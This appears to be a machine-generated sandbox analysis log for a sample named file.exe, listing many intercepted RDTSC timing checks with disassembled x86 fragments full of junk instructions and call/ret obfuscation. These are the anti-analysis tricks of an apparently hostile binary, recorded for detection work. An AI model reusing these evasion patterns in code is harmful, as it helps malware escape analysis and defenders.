Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A69DB second address: 5A69E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6CA9 second address: 5A6CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F789C73D5A6h 0x0000000d jns 00007F789C73D5A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9825 second address: 5A9833 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9833 second address: 421C32 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F789C73D5B4h 0x00000010 pop eax 0x00000011 mov dword ptr [ebp+122D216Fh], edx 0x00000017 push dword ptr [ebp+122D0825h] 0x0000001d sub edi, dword ptr [ebp+122D3B0Dh] 0x00000023 call dword ptr [ebp+122D2509h] 0x00000029 pushad 0x0000002a pushad 0x0000002b mov edi, dword ptr [ebp+122D3B49h] 0x00000031 popad 0x00000032 xor eax, eax 0x00000034 mov dword ptr [ebp+122D1953h], edi 0x0000003a mov edx, dword ptr [esp+28h] 0x0000003e jmp 00007F789C73D5B5h 0x00000043 mov dword ptr [ebp+122D3A41h], eax 0x00000049 xor dword ptr [ebp+122D1953h], ecx 0x0000004f sub dword ptr [ebp+122D23D4h], edi 0x00000055 mov esi, 0000003Ch 0x0000005a jmp 00007F789C73D5B2h 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 je 00007F789C73D5B2h 0x00000069 jbe 00007F789C73D5ACh 0x0000006f mov dword ptr [ebp+122D1953h], ebx 0x00000075 lodsw 0x00000077 clc 0x00000078 add eax, dword ptr [esp+24h] 0x0000007c pushad 0x0000007d mov bh, 82h 0x0000007f jbe 00007F789C73D5A6h 0x00000085 popad 0x00000086 mov ebx, dword ptr [esp+24h] 0x0000008a cld 0x0000008b nop 0x0000008c push ecx 0x0000008d push eax 0x0000008e push edx 0x0000008f jns 00007F789C73D5A6h 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9877 second address: 5A987B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9950 second address: 5A9955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9B31 second address: 5A9B35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9B6B second address: 5A9BC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jne 00007F789C73D5ABh 0x00000010 mov edx, 161A1E5Eh 0x00000015 push 00000000h 0x00000017 movsx edi, bx 0x0000001a call 00007F789C73D5A9h 0x0000001f push ebx 0x00000020 push ebx 0x00000021 jmp 00007F789C73D5B9h 0x00000026 pop ebx 0x00000027 pop ebx 0x00000028 push eax 0x00000029 push ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d pop eax 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9BC5 second address: 5A9C34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edi 0x0000000c jmp 00007F789CC6148Fh 0x00000011 pop edi 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 jmp 00007F789CC61491h 0x0000001a ja 00007F789CC6149Dh 0x00000020 jmp 00007F789CC61497h 0x00000025 popad 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d jmp 00007F789CC61497h 0x00000032 pushad 0x00000033 popad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9C34 second address: 5A9CCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b movsx edi, cx 0x0000000e push 00000003h 0x00000010 mov dword ptr [ebp+122D21AEh], ecx 0x00000016 push 00000000h 0x00000018 mov edi, eax 0x0000001a push 00000003h 0x0000001c jmp 00007F789C73D5B4h 0x00000021 push 7BCFA40Ch 0x00000026 push ebx 0x00000027 jnc 00007F789C73D5ACh 0x0000002d pop ebx 0x0000002e add dword ptr [esp], 44305BF4h 0x00000035 pushad 0x00000036 add dword ptr [ebp+122D183Bh], edx 0x0000003c call 00007F789C73D5B1h 0x00000041 and bh, 00000005h 0x00000044 pop eax 0x00000045 popad 0x00000046 lea ebx, dword ptr [ebp+1245B712h] 0x0000004c push 00000000h 0x0000004e push esi 0x0000004f call 00007F789C73D5A8h 0x00000054 pop esi 0x00000055 mov dword ptr [esp+04h], esi 0x00000059 add dword ptr [esp+04h], 0000001Ch 0x00000061 inc esi 0x00000062 push esi 0x00000063 ret 0x00000064 pop esi 0x00000065 ret 0x00000066 xchg eax, ebx 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b pop eax 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBB14 second address: 5BBB19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9513 second address: 5C9518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5909D0 second address: 5909DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F789CC61492h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5909DD second address: 5909E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C80AB second address: 5C80BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F789CC61486h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C80BA second address: 5C80C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C80C0 second address: 5C80D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F789CC6148Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C80D4 second address: 5C80E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 je 00007F789C73D5AEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8217 second address: 5C821D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8385 second address: 5C839A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jo 00007F789C73D5A6h 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C839A second address: 5C83AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F789CC61486h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jg 00007F789CC61486h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C84C5 second address: 5C84C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C84C9 second address: 5C84CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD463 second address: 5BD469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8BEA second address: 5C8C01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F789CC61493h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8C01 second address: 5C8C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8C05 second address: 5C8C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F789CC61488h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jne 00007F789CC61486h 0x00000018 jno 00007F789CC61486h 0x0000001e jmp 00007F789CC6148Dh 0x00000023 popad 0x00000024 pushad 0x00000025 jmp 00007F789CC61493h 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c pushad 0x0000002d popad 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 pop eax 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8DC9 second address: 5C8DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789C73D5B6h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F789C73D5ACh 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8F2F second address: 5C8F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789CC61491h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8F44 second address: 5C8F48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C935E second address: 5C9364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9364 second address: 5C9369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9369 second address: 5C9370 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9370 second address: 5C937D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBF97 second address: 5CBF9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC510 second address: 5CC514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC5EB second address: 5CC605 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F789CC61492h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC605 second address: 5CC64C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jnc 00007F789C73D5B0h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F789C73D5B1h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC64C second address: 5CC650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC7D4 second address: 5CC7E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F789C73D5B0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC7E8 second address: 5CC7EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEE23 second address: 5CEE35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F789C73D5AEh 0x0000000a jg 00007F789C73D5A6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E273 second address: 59E277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E277 second address: 59E295 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F789C73D5A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jc 00007F789C73D5A6h 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007F789C73D5A6h 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E295 second address: 59E2B5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F789CC61496h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E2B5 second address: 59E2BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 599088 second address: 59908E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D77C3 second address: 5D77C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D77C7 second address: 5D77D1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F789CC61486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D77D1 second address: 5D77E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F789C73D5A8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D795B second address: 5D7972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jnc 00007F789CC61486h 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7972 second address: 5D7976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7D77 second address: 5D7D7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7D7B second address: 5D7D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7ED4 second address: 5D7ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7ED9 second address: 5D7F0E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F789C73D5BAh 0x00000008 jmp 00007F789C73D5B4h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F789C73D5B7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8702 second address: 5D8706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D87F2 second address: 5D8802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 jg 00007F789C73D5A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8DC7 second address: 5D8DD9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F789CC6148Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8DD9 second address: 5D8DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8FCE second address: 5D8FD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9445 second address: 5D9480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F789C73D5A8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D191Bh], esi 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c jp 00007F789C73D5A6h 0x00000032 jns 00007F789C73D5A6h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9480 second address: 5D948E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F789CC6148Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D948E second address: 5D9492 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9731 second address: 5D9735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D98FD second address: 5D9925 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F789C73D5A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov esi, ebx 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F789C73D5B2h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9925 second address: 5D9943 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC6148Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jg 00007F789CC61486h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9943 second address: 5D9955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F789C73D5AEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9D40 second address: 5D9D58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC61494h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA768 second address: 5DA7DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F789C73D5A6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push edi 0x00000012 mov dword ptr [ebp+122D1B66h], ecx 0x00000018 pop esi 0x00000019 push 00000000h 0x0000001b movzx esi, di 0x0000001e mov esi, dword ptr [ebp+122D2270h] 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F789C73D5A8h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 0000001Bh 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 xchg eax, ebx 0x00000041 jng 00007F789C73D5B4h 0x00000047 pushad 0x00000048 jnl 00007F789C73D5A6h 0x0000004e jl 00007F789C73D5A6h 0x00000054 popad 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 jmp 00007F789C73D5B0h 0x0000005e push eax 0x0000005f pop eax 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCBA3 second address: 5DCBA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCBA7 second address: 5DCBAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DED6D second address: 5DED72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD4BE second address: 5DD4DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F789C73D5ACh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF596 second address: 5DF59C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD4DE second address: 5DD4E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2A87 second address: 5E2A8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF59C second address: 5DF5B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F789C73D5B1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF5B1 second address: 5DF5B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2F9F second address: 5E2FA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2FA3 second address: 5E2FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F789CC6148Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5152 second address: 5E5162 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F789C73D5A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E60CD second address: 5E60D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6F4E second address: 5E6F9C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F789C73D5ACh 0x0000000c popad 0x0000000d nop 0x0000000e or dword ptr [ebp+124899D4h], ebx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F789C73D5A8h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov edi, 3C5A43DAh 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushad 0x0000003c popad 0x0000003d jbe 00007F789C73D5A6h 0x00000043 popad 0x00000044 rdtsc
